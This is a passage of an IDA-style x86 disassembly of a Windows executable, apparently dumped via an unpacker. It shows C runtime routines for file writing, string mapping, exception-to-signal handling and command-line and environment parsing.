loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCD80
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB938, 9
		mov	dword_4DB93C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB938, 1Ch
		mov	dword_4DB93C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA0C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA0C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB4EC
		push	esi
		push	edi
		call	dword_427054	; LCMapStringA
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA0C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA0C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427054	; LCMapStringA
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA04
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_427180	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_427180	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_42717C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422CEE	proc near		; CODE XREF: sub_41D933+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: sub_422CEE+23j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA10
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DBA10, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D000
		mov	edx, dword_43D004
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CF90h[esi*4]


loc_422D65:				; CODE XREF: sub_422CEE+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: sub_422CEE+69j
		mov	eax, [eax]
		mov	esi, dword_43D00C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D00C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: sub_422CEE+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D00C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: sub_422CEE+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D00C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: sub_422CEE+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D00C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: sub_422CEE+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D00C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: sub_422CEE+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D00C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: sub_422CEE+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D00C, 8Ah


loc_422DF9:				; CODE XREF: sub_422CEE+99j
					; sub_422CEE+ACj ...
		push	dword_43D00C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D00C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: sub_422CEE+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: sub_422CEE+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DBA10, eax


loc_422E1E:				; CODE XREF: sub_422CEE+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: sub_422CEE+Fj
					; sub_422CEE+1Aj
		push	[ebp+arg_4]
		call	dword_42704C	; UnhandledExceptionFilter


loc_422E2C:				; CODE XREF: sub_422CEE+2Cj
					; sub_422CEE+133j
		pop	ebx
		pop	ebp
		retn
sub_422CEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: sub_422CEE+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D008
		cmp	dword_43CF88, edx
		push	esi
		mov	eax, offset dword_43CF88
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF88h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E72	proc near		; CODE XREF: sub_41D933+A5p
		cmp	dword_4DCFD4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: sub_422E72+7j
		push	esi
		mov	esi, dword_4DCFCC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: sub_422E72+33j
					; sub_422E72+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: sub_422E72+21j
					; sub_422E72+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: sub_422E72+52j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: sub_422E72+19j
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: sub_422E72+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: sub_422E72+3Bj
					; sub_422E72+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: sub_422E72+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_422E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_422ECA	proc near		; CODE XREF: sub_41D933+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: sub_422ECA+Bj
		mov	esi, dword_4DB9A8
		xor	edi, edi


loc_422EE4:				; CODE XREF: sub_422ECA+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: sub_422ECA+22j
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: sub_422ECA+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB960, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: sub_422ECA+4Aj
		mov	edi, dword_4DB9A8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: sub_422ECA+94j
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: sub_422ECA+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: sub_422ECA+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: sub_422ECA+5Cj
		push	dword_4DB9A8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9A8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFD0, 1
		pop	ebx
		retn
sub_422ECA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F83	proc near		; CODE XREF: sub_41D933+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFD4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: sub_422F83+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_427070	; GetModuleFileNameA
		mov	eax, dword_4DCFCC
		mov	off_4DB970, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: sub_422F83+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: sub_422F83+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB958, esi
		pop	edi
		pop	esi
		mov	dword_4DB954, eax
		pop	ebx
		leave
		retn
sub_422F83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: sub_422F83+47p
					; sub_422F83+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEA1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEA1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
